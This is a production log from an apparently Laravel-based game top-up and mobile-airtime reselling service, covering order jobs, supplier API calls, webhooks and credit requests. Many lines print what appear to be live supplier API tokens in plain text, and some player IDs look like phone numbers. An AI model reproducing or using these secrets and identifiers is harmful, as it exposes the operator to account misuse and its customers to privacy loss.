[2026-03-24 14:42:57] production.INFO: Order updated successfully. Order ID: 178767, Status: completed  
[2026-03-24 14:42:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Bpc4YqA-1774352543","status":"completed","codes_count":0} 
[2026-03-24 14:42:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 14:43:09] production.INFO: Constructing job for order: 178769  
[2026-03-24 14:43:12] production.INFO: Handling job for order: 178769  
[2026-03-24 14:43:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:43:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:43:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2000&uuid=9d7399b9-ce98-46f6-b4c1-9f552f181cc3&Player_ID=53883761  
[2026-03-24 14:43:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2000&uuid=9d7399b9-ce98-46f6-b4c1-9f552f181cc3&Player_ID=53883761","has_body":false} 
[2026-03-24 14:43:13] production.INFO: Operation sent successfully {"operation_id":163690,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WVtG0E48-1774352593","amount":3.435826399999999836154529475606977939605712890625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 14:43:13"}},"processed_data":{"order_number":"ORD-WVtG0E48-1774352593","amount":3.435826399999999836154529475606977939605712890625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 14:44:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01"} 
[2026-03-24 14:44:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","total_operations":6,"sites_count":1} 
[2026-03-24 14:44:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-xIoFiP-1774352505","ORD-UNx-1774352506","ORD-WVtG0E48-1774352593"]} 
[2026-03-24 14:44:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:44:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 14:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690} 
[2026-03-24 14:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686} 
[2026-03-24 14:44:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"processed":0,"skipped":6,"updates_prepared":0} 
[2026-03-24 14:44:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"processed":0,"errors":0} 
[2026-03-24 14:44:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"de1U233nwwxOkiqxLfUyebgb0axA7do2","execution_time":"2026-03-24 14:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686} 
[2026-03-24 14:44:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xIoFiP-1774352505","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:44:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-xIoFiP-1774352505","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:44:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:44:03] production.INFO: SendAcceptReject: Notification queued {"user_id":834,"notification_type":"order_approved","reference_id":178765} 
[2026-03-24 14:44:03] production.INFO: Order updated successfully. Order ID: 178765, Status: completed  
[2026-03-24 14:44:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xIoFiP-1774352505","status":"completed","codes_count":0} 
[2026-03-24 14:44:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 834  
[2026-03-24 14:44:15] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"500.0","mainamount":"500","operation_number":"600430845393","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpqcgson8ubsujc85J0gF"}},"user_id":305} 
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:44:16] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:44:16] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18629,"user_id":305,"amount":500.0,"admins_notified":7} 
[2026-03-24 14:44:21] production.INFO: Constructing job for order: 178770  
[2026-03-24 14:44:22] production.INFO: Handling job for order: 178770  
[2026-03-24 14:44:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:44:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:44:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=0e989e53-c864-413c-b0b7-32779ebe2206&Player_ID=14530692884  
[2026-03-24 14:44:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=0e989e53-c864-413c-b0b7-32779ebe2206&Player_ID=14530692884","has_body":false} 
[2026-03-24 14:44:23] production.INFO: Operation sent successfully {"operation_id":163691,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Eb2-1774352663","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:44:23"}},"processed_data":{"order_number":"ORD-Eb2-1774352663","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:44:52] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1500.0","mainamount":"1500","operation_number":"158283617","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpfisbe8iqt833c6pcMiJ"}},"user_id":1247} 
[2026-03-24 14:44:53] production.INFO: Constructing job for order: 178771  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:44:53] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:44:53] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18630,"user_id":1247,"amount":1500.0,"admins_notified":7} 
[2026-03-24 14:44:54] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Eb2-1774352663","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:44:54] production.INFO: Processed webhook data (normalized) {"id":"ORD-Eb2-1774352663","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:44:54] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:44:54] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178770} 
[2026-03-24 14:44:54] production.INFO: Order updated successfully. Order ID: 178770, Status: completed  
[2026-03-24 14:44:54] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Eb2-1774352663","status":"completed","codes_count":0} 
[2026-03-24 14:44:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 14:44:56] production.INFO: Handling job for order: 178771  
[2026-03-24 14:44:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:44:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:44:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=57e0fb1b-86d4-4abf-b351-45965cc164f7&Player_ID=103024188  
[2026-03-24 14:44:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=57e0fb1b-86d4-4abf-b351-45965cc164f7&Player_ID=103024188","has_body":false} 
[2026-03-24 14:44:57] production.INFO: Operation sent successfully {"operation_id":163692,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UPiF74u-1774352697","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi","notes":[],"created_at":"2026-03-24 14:44:57"}},"processed_data":{"order_number":"ORD-UPiF74u-1774352697","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi"}} 
[2026-03-24 14:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:45:05] production.INFO: async() رجع: true  
[2026-03-24 14:45:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:45:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:45:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:45:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:45:11] production.INFO: Constructing job for order: 178772  
[2026-03-24 14:45:13] production.INFO: Handling job for order: 178772  
[2026-03-24 14:45:13] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:45:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:45:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=9b4f55d3-49de-4d42-8320-77938532faf8&Player_ID=0983897412  
[2026-03-24 14:45:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=9b4f55d3-49de-4d42-8320-77938532faf8&Player_ID=0983897412","has_body":false} 
[2026-03-24 14:45:13] production.INFO: Operation sent successfully {"operation_id":163693,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5b5E-1774352713","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:45:13"}},"processed_data":{"order_number":"ORD-5b5E-1774352713","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:45:26] production.INFO: Constructing job for order: 178773  
[2026-03-24 14:45:28] production.INFO: Handling job for order: 178773  
[2026-03-24 14:45:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:45:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:45:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=92733d3b-e326-4f8e-b33f-556fa5515e80&Player_ID=51317212053  
[2026-03-24 14:45:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=92733d3b-e326-4f8e-b33f-556fa5515e80&Player_ID=51317212053","has_body":false} 
[2026-03-24 14:45:29] production.INFO: Operation sent successfully {"operation_id":163694,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5u1tvjqm-1774352729","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:45:29"}},"processed_data":{"order_number":"ORD-5u1tvjqm-1774352729","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:45:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5u1tvjqm-1774352729","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:45:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-5u1tvjqm-1774352729","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:45:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:45:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1724,"notification_type":"order_approved","reference_id":178773} 
[2026-03-24 14:45:39] production.INFO: Order updated successfully. Order ID: 178773, Status: completed  
[2026-03-24 14:45:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5u1tvjqm-1774352729","status":"completed","codes_count":0} 
[2026-03-24 14:45:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1724  
[2026-03-24 14:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02"} 
[2026-03-24 14:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","total_operations":7,"sites_count":2} 
[2026-03-24 14:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-WVtG0E48-1774352593","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 14:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690} 
[2026-03-24 14:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690,"processed":0,"skipped":6,"updates_prepared":0} 
[2026-03-24 14:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690,"processed":0,"errors":0} 
[2026-03-24 14:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690,"orders_count":1,"order_ids":["ORD-5b5E-1774352713"]} 
[2026-03-24 14:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690} 
[2026-03-24 14:46:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WVtG0E48-1774352593","operation_id":163690,"orders_count":1} 
[2026-03-24 14:46:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 14:46:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:46:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"count":1} 
[2026-03-24 14:46:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"count":1} 
[2026-03-24 14:46:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"user_id":1235,"notification_type":"order_approved","reference_id":178772} 
[2026-03-24 14:46:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:46:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:46:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"processed":1,"errors":0} 
[2026-03-24 14:46:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693,"processed":1,"errors":0} 
[2026-03-24 14:46:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"m0trq4VyPOYaCUD0PGACI2Pfwmh61pDz","execution_time":"2026-03-24 14:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5b5E-1774352713","operation_id":163693} 
[2026-03-24 14:46:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1235  
[2026-03-24 14:46:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WVtG0E48-1774352593","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:46:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-WVtG0E48-1774352593","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:46:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:46:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":178769} 
[2026-03-24 14:46:03] production.INFO: Order updated successfully. Order ID: 178769, Status: completed  
[2026-03-24 14:46:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WVtG0E48-1774352593","status":"completed","codes_count":0} 
[2026-03-24 14:46:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 14:46:39] production.INFO: Constructing job for order: 178774  
[2026-03-24 14:46:42] production.INFO: Handling job for order: 178774  
[2026-03-24 14:46:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:46:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:46:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=079e8356-9e39-4fc6-9bf0-6213fa86c00c&Player_ID=0943580408  
[2026-03-24 14:46:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=079e8356-9e39-4fc6-9bf0-6213fa86c00c&Player_ID=0943580408","has_body":false} 
[2026-03-24 14:46:42] production.INFO: Operation sent successfully {"operation_id":163695,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NMsWoy-1774352802","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:46:42"}},"processed_data":{"order_number":"ORD-NMsWoy-1774352802","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:47:32] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 14:48:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03"} 
[2026-03-24 14:48:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","total_operations":6,"sites_count":2} 
[2026-03-24 14:48:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:48:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd"} 
